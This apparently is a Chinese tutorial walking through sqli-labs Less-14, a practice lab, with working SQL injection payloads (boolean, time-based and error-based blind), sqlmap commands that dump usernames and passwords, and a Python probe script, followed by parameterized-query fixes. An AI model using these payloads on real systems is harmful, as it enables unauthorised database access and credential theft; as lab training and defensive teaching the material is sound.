☰
SQL注入靶场Less-14实战:POST双引号闭合与布尔盲注全解析
2026/9/25 3:08:56 网站建设 项目流程

很多人刷 sql-lab 的时候,前面的关卡都是一路点点点就过,到 Less-13 和 Less-14 突然发现“怎么不按套路出牌了”。Less-14 这个关卡,表面看就是一个普通的登录框,实际上它把 POST 参数、双引号闭合、布尔盲注和报错双注入叠在了一起,专门用来磨你判断闭合和构造 payload 的手感。我自己当初就在这卡了一段时间,一直拿单引号去测 uname,结果半天没反应,换成双引号去测 passwd 才恍然大悟。这个关卡很适合已经掌握基本注入思路、但还没形成系统化判断流程的人,把 Less-14 从头到尾打通,你基本就理清了“定位注入点→确认闭合方式→选择注入手法→提取数据”这一整条链路。

1. 先搞清楚 Less-14 到底在考什么

1.1 关卡在 sql-lab 里的位置

Less-14 是 sqli-labs 中 POST 注入系列的第四个关卡。前面是 Less-11(POST 单引号报错注入)、Less-12(POST 双引号加括号报错注入)、Less-13(POST 单引号双注入/盲注),到 Less-14 就是 POST 双引号双注入。很多人把它当成 Less-13 的镜像关卡,以为只是把单引号换成双引号就行,其实从闭合方式到注入 payload 都要重调,并不是“改个引号”这么简单。

从攻击面来看,Less-14 的核心考点有三个:POST 请求、引号闭合、基于布尔的盲注或报错双注入。这里说的“双注入”来自 MySQL 老版本里count()+floor(rand(0)*2)+group by的报错技巧,后来也泛指带子查询的报错注入。实际刷题时会遇到两种环境:一种是 MySQL 版本较高,extractvalue/updatexml还能用;另一种是老版本,只能走count+floor或者纯盲注。所以最好把两套 payload 都准备齐,别等到了考场再临阵磨枪。

这个关卡的适用人群是有一定基础的人:你已经能独立完成 Less-1 到 Less-12,知道单引号闭合、报错注入的基本玩法,但还没有在 POST 场景下完整操作过。它不要求你背新函数,而是要求你先在 Burp Suite 或 HackBar 里抓到 POST 请求,再把注入语句从 URL 的查询参数搬到请求体的表单参数里。这一步转化对新手特别友好,因为一旦你习惯了 POST 注入,后面刷 Cookie 注入、Header 注入时思路就是通用的。

1.2 核心查询语句与闭合方式

Less-14 的登录逻辑,核心 SQL 大体可以理解为:

$sql = "SELECT username, password FROM users WHERE username=\"$uname\" and password=\"$passwd\" LIMIT 0,1";

关键信息有两个。第一,用户名和密码都被双引号包着,后端没有做参数化查询,也没有过滤双引号。第二,用户输入的uname和passwd来自 POST 请求体,不是 URL 上的 GET 参数。这意味着你在浏览器地址栏里改 GET 参数完全没用,必须去改表单数据或请求体。

Less-11 到 Less-15 这几个 POST 关卡的闭合方式很容易混淆,我整理了一张对照表:

关卡请求方式注入点位置闭合特征
Less-11POSTuname / passwd单引号
Less-12POSTuname / passwd双引号加括号
Less-13POSTuname / passwd单引号,双注入/盲注
Less-14POSTpasswd双引号,双注入/盲注
Less-15POSTuname / passwd单引号,布尔盲注

很多人卡在 Less-14,就是因为惯性思维“前面是单引号,这个应该也是单引号”。如果你一直用'去测,当然怎么测都不对。Less-14 的关键是英文双引号",你先把这个认知纠正过来,后面就顺了。

1.3 先判断注入点和闭合符

判断注入点不需要一上来就跑大工具,手动提交几个请求就够了。我用 Burp Suite 的 Repeater 分别提交:

uname=admin&passwd=" uname=admin&passwd=' uname=admin&passwd=ad"

第一组和第二组很关键。提交passwd="之后,如果页面出现 SQL 语法错误,等于直接告诉了你闭合符是双引号;如果页面只显示“Login Failed”,说明错误信息被关掉了,需要结合后面的布尔差异来判断。我把两种可能都讲一下,因为不同版本的 sql-lab 环境行为不完全一样,有的会回显mysqli_error(),有的不会。

如果页面能回显报错,你会看到类似:

You have an error in your SQL syntax; check the manual...

这就锁定闭合符了。如果不能回显,就继续提交一组对照 payload:

uname=admin&passwd=" AND 1=1 # uname=admin&passwd=" AND 1=2 #

第一组如果登录成功,第二组登录失败,说明双引号闭合生效,而且这个关卡是布尔盲注风格。有个细节:POST body 里的#在 Burp 中可以直接发,但如果用 curl 或某些脚本,#会被当成 URL 片段截断,保险做法是把#写成%23。你还可以换成-- -,注意 MySQL 里--后面必须带空格,写成-- -是为了确保注释符生效。

2. 手工注入的完整链路

2.1 用布尔盲注判断库名

确认了闭合方式之后,手工提取数据一般都从数据库名开始。布尔盲注的思路很简单:构造一个“条件为真就返回正常结果,条件为假就返回失败”的表达式。因为整条查询被双引号包着,所以 payload 可以写成:

uname=admin&passwd=" AND ascii(substr(database(),1,1))=115 #

拆开看它实际执行效果:passwd 的值是" AND ascii(substr(database(),1,1))=115 #,拼进 SQL 后,密码位置变成了空字符串加一个 AND 条件。如果database()第一个字符的 ASCII 是 115(也就是s),整条 WHERE 成立,页面显示登录成功;否则查询结果为空,页面显示失败。于是“猜一个字符”就变成了“看页面是两种结果中的哪一种”,这就是盲注里的 oracle(判定依据)。

为什么用ascii(substr())而不是直接比较substr(database(),1,1)='s'?直接比较也可以,但字符串比较容易受大小写、排序规则影响,而且嵌套引号时容易把自己绕晕。用数字比较之后,整个流程就变成了“猜数字”,配合 Burp Intruder 或脚本,速度会明显提升。

实际操作时,可以用二分法进一步提速。比如先判断ascii(substr(database(),1,1)) > 100,成立就继续在上半区间二分,不成立就在下半区间二分。这样每个字符大约只需要 7 次左右的请求,比逐个遍历 95 个可打印字符快得多。

2.2 报错注入 payload 的两种选择

如果当前环境能回显 MySQL 报错,Less-14 完全可以走更快的报错注入。第一种是extractvalue:

uname=admin&passwd=" AND extractvalue(1,concat(0x7e,(select database()),0x7e)) #

执行时,extractvalue会因为第二个参数不是合法 XPath 路径而抛出 XPATH syntax error,报错内容里会带上0x7e(也就是~)和子查询的结果。于是数据库名就被“夹带”在错误信息里吐出来。updatexml的用法几乎一样:

uname=admin&passwd=" AND updatexml(1,concat(0x7e,(select database()),0x7e),1) #

注意extractvalue报错结果一般只会显示 32 个字符左右,如果子查询结果太长,比如group_concat一口气把好几张表名拼在一起,内容会被截断。解决办法是用substr分段取,或者用limit一条条看。

第二种是课程名里说的“双注入”经典写法,用count(*) + floor(rand(0)*2) + group by。payload 会长一些:

" AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2)) AS x FROM information_schema.tables GROUP BY x) y) #

这个技巧的原理是:floor(rand(0)*2)只返回 0 或 1,而group by在分组时如果遇到重复 key,就会触发主键冲突报错,报错内容里正好包含随机数和子查询结果。它不依赖extractvalue,所以老版本 MySQL 上兼容性更好。不过这个 payload 有个特点:有时候第一次不报错,要跑第二次才报错,因为rand()的伪随机序列影响了执行顺序。手动测试时如果没反应,多提交几次再看,不要急着换思路。

2.3 脱库的完整 payload 示例

拿到数据库名之后,继续往表名、列名、数据一层层剥。假设库名是security,先查表:

" AND extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

group_concat会把多个结果用逗号拼成一个字符串,方便一次看到所有表名。sqli-labs 的库里通常有emails、referers、uagents、users这些表,真正的目标一般是users。

接着查users表的字段名:

" AND extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #

如果遇到引号嵌套问题,把users写成十六进制0x7573657273,这样整条 payload 里就不用引入新的单引号了。最后拖数据:

" AND extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users))) #

0x3a是冒号的十六进制,用来把用户名和密码拼成admin:password这种格式,一眼就能看明白。Less-14 的完整手工流程就是这样:先确认双引号闭合,再选择报错或盲注,最后逐层拖出库名、表名、字段名和数据。整个过程不复杂,但每一步都需要想清楚“为什么”。

3. SQLMap 自动化操作

3.1 抓包与 --data 构造

手工把链路打通之后,再用 SQLMap 会事半功倍。因为我已经知道注入点在passwd,闭合符是双引号,SQLMap 拿到这些上下文后会跑得又快又准。第一步先在 Burp Suite 里把登录请求截住,会看到类似这样的内容:

POST /sqli-labs/Less-14/ HTTP/1.1 Host: 192.168.x.x Content-Type: application/x-www-form-urlencoded uname=admin&passwd=123

把请求保存下来,或者直接把 URL 和 data 参数给 SQLMap。我习惯先只用--data,不指定--forms。因为--forms会去解析页面表单,多一次请求不说,页面结构复杂时还会出幺蛾子。

一个干净的起点命令是:

sqlmap -u "http://192.168.x.x/sqli-labs/Less-14/" --data="uname=admin&passwd=123" -p passwd --batch --current-db

-p passwd直接告诉 SQLMap 只测 password 参数,省得它在uname上浪费时间。如果默认的注入类型跑不出来,可以追加--level=3 --risk=2,让 payload 覆盖更多场景。注意--level和--risk越高,请求数越多,本地靶机无妨,真实环境一定要克制,避免请求风暴打崩目标。

3.2 常用参数与命令

确认current-db是security后,后面的操作基本是套模板:

sqlmap -u "http://192.168.x.x/sqli-labs/Less-14/" --data="uname=admin&passwd=123" -p passwd --batch -D security --tables sqlmap -u "http://192.168.x.x/sqli-labs/Less-14/" --data="uname=admin&passwd=123" -p passwd --batch -D security -T users --columns sqlmap -u "http://192.168.x.x/sqli-labs/Less-14/" --data="uname=admin&passwd=123" -p passwd --batch -D security -T users -C username,password --dump

分别对应列表、列字段、导数据。也可以--dump-all一把梭,但本地靶场无所谓,真实环境别这么干。SQLMap 在 POST 注入时有时会因为响应内容少、判定阈值苛刻而漏报,碰到这种情况,我会在请求头里补一个顺畅的User-Agent,并加上--string="Login Success"这种显式判词,让它根据页面里的关键词来判断真假,比纯状态码判断靠谱得多。

3.3 自动化结果如何验证

SQLMap 跑完的结果不要直接全信,尤其是盲注场景。我习惯拿一条代表性 payload 手工复现一遍。比如工具报告passwd是 boolean-based blind,我就手动提交:

uname=admin&passwd=" AND ascii(substr(database(),1,1))=115 #

如果页面确实有“成功/失败”的差异,这一步才算闭环。为什么强调验证?因为 SQLMap 偶尔会误判注入类型,比如把某个参数报成“可注入”,但实际上只是响应差异巧合。刷靶场的时候,养成“工具出结果,手工验一条”的习惯,等以后面对真实环境,你就会知道这个习惯能避免多少误报。

4. 常见问题与排查实录

4.1 用单引号测了好久都没反应

Less-14 最坑的是闭合符是双引号。如果你一直拿'去测uname或passwd,会把引号闭合引到一个错误方向,看起来“哪里不对”,但和真正的注入路径是两条平行线。排查方法很简单:把uname和passwd两个参数都逐对试一遍,分别提交单引号、双引号、括号组合,观察返回差异。我自己判断的顺序是先passwd=",再uname=",因为从关卡设计思路看,出题人故意把 passwd 放在更容易碰的位置。

另外注意 POST 请求里的编码问题。Burp Repeater 里直接写#一般没问题,但用 curl 或某些脚本时,#会被当作 URL 片段截断。遇到请求发出去之后内容不对,先把#换成%23再看。同理,如果 payload 里的双引号被前端 JS 转义,就检查一下 Content-Type 和 Raw 请求体是否被正确提交,别把“编码问题”当成“注入失败”。

4.2 报错注入不回显数据

如果你用了extractvalue却只看到空白或登录失败,说明当前环境大概率把 PHP 错误显示关掉了,或者数据库用户权限不够。sqli-labs 默认配置通常可以回显,但一旦碰到改装版,就要主动切到布尔盲注或时间盲注。另一个小坑是extractvalue、updatexml、floor这类关键词会被 WAF 或防护脚本过滤。靶场里一般没有,但真实环境要准备好大小写混淆、内联注释等绕过手段,这里不展开写绕过细节,先把工具链跑通最重要。

如果页面连“Login Success / Login Failed”这种可辨别文本都没有,那就只能走时间盲注:

uname=admin&passwd=" AND if(ascii(substr(database(),1,1))=115,sleep(3),0) #

页面延迟 3 秒说明条件成立。这个方式慢,但几乎不会误判,而且不依赖任何报错回显。

4.3 盲注请求太多太慢

布尔盲注一个字符要试很多次,纯手工一个个测会怀疑人生。我在靶场里会直接写一个小脚本,或者把每个字符的 ASCII 范围用二分法在 Burp Intruder 里跑。比如判断某个位置的字符时,payload 写ascii(substr(database(),1,1))>120,通过返回差异判断区间,再不断缩小区间。脚本思路也很简单,用 Python requests 发 POST 请求,把条件封装成函数,循环判断即可:

import requests url = "http://192.168.x.x/sqli-labs/Less-14/" probe = lambda cond: "Login Success" in requests.post( url, data={"uname": "admin", "passwd": f'" AND {cond} #'}, timeout=10 ).text if probe("ascii(substr(database(),1,1))=115"): print("database name starts with: s")

这个思路无论刷 Less-14 还是应对无法上工具的场景,都很实用。核心是把“盲注”当成一个布尔函数的循环问题,而不是一条一条手工猜。

5. 从 Less-14 看防御修复

5.1 参数化查询是从根源上解决问题

Less-14 的问题不是双引号,而是“把用户输入直接拼进 SQL”。只要这一步不改,你用单引号、双引号、括号、反引号都只是换姿势打。修复方案就是参数化查询。以 PHP 为例,用 PDO 的写法是:

$stmt = $pdo->prepare("SELECT username, password FROM users WHERE username = ? AND password = ?"); $stmt->execute([$uname, $passwd]);

或者用 mysqli 的预处理:

$stmt = $conn->prepare("SELECT username, password FROM users WHERE username = ? AND password = ?"); $stmt->bind_param("ss", $uname, $passwd); $stmt->execute();

这样用户输入只是被当作字符串值传到 SQL 引擎,永远不可能改变 SQL 语句结构。我一直强调“先看源码再刷靶场”,原因就在这里:你只有知道后端是即时拼接,才能在实际经验中形成条件反射,看到用户名密码框就下意识想到“这里拼进了 SQL”。

5.2 输入校验和最小权限兜底

参数化查询之外,还应该做纵深防御。比如用户名和密码字段加白名单校验,只允许字母、数字和下划线;数据库连接账号不要用 root,给应用一个只对业务表有增删改查权限的最小账号;同时在发布到公网前把 MySQL 报错信息关掉,避免把语法错误细节直接吐给攻击者。Less-14 能被这么顺利地被一步步拖库,一个重要原因就是数据库权限过大、报错太过透明。刷完这个关卡,除了学到攻击手法,更应该在防御侧建立一份对照检查清单:是否做了参数化、是否限制数据库权限、是否关闭报错回显。

6. 刷完 Less-14 之后还能做什么

Less-14 做完后,我建议你回过去把 Less-13 和 Less-15 拿出来对比。Less-13 是单引号,Less-14 是双引号,Less-15 又回到单引号但强调布尔盲注。三个连在一起刷,你会发现判断闭合的流程可以固化成模板:先确定参数位置,再测引号,再用AND 1=1/1=2区分布尔,最后根据回显决定走报错还是盲注。这个模板比背 100 个 payload 有用得多。

如果你是第一次接触 POST 注入,一定要把 Burp Suite 的 Repeater 和 Intruder 练熟。Less-14 的请求结构非常简单,是练习改写请求体的最佳样本。等你能不看教程走到--dump,说明你已经把 GET 思路成功迁移到 POST,这对后面刷 Cookie 注入、Header 注入同样成立。

我个人刷到 Less-14 最大的体会是:不要急着上工具,先手工把 payload 的每一个字符看懂。尤其是extractvalue的报错价值在哪里、布尔盲注的判定条件是什么、#注释为什么能截断 SQL 尾部,这些想清楚之后,SQLMap 的命令才会从“魔法”变成“工具”。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询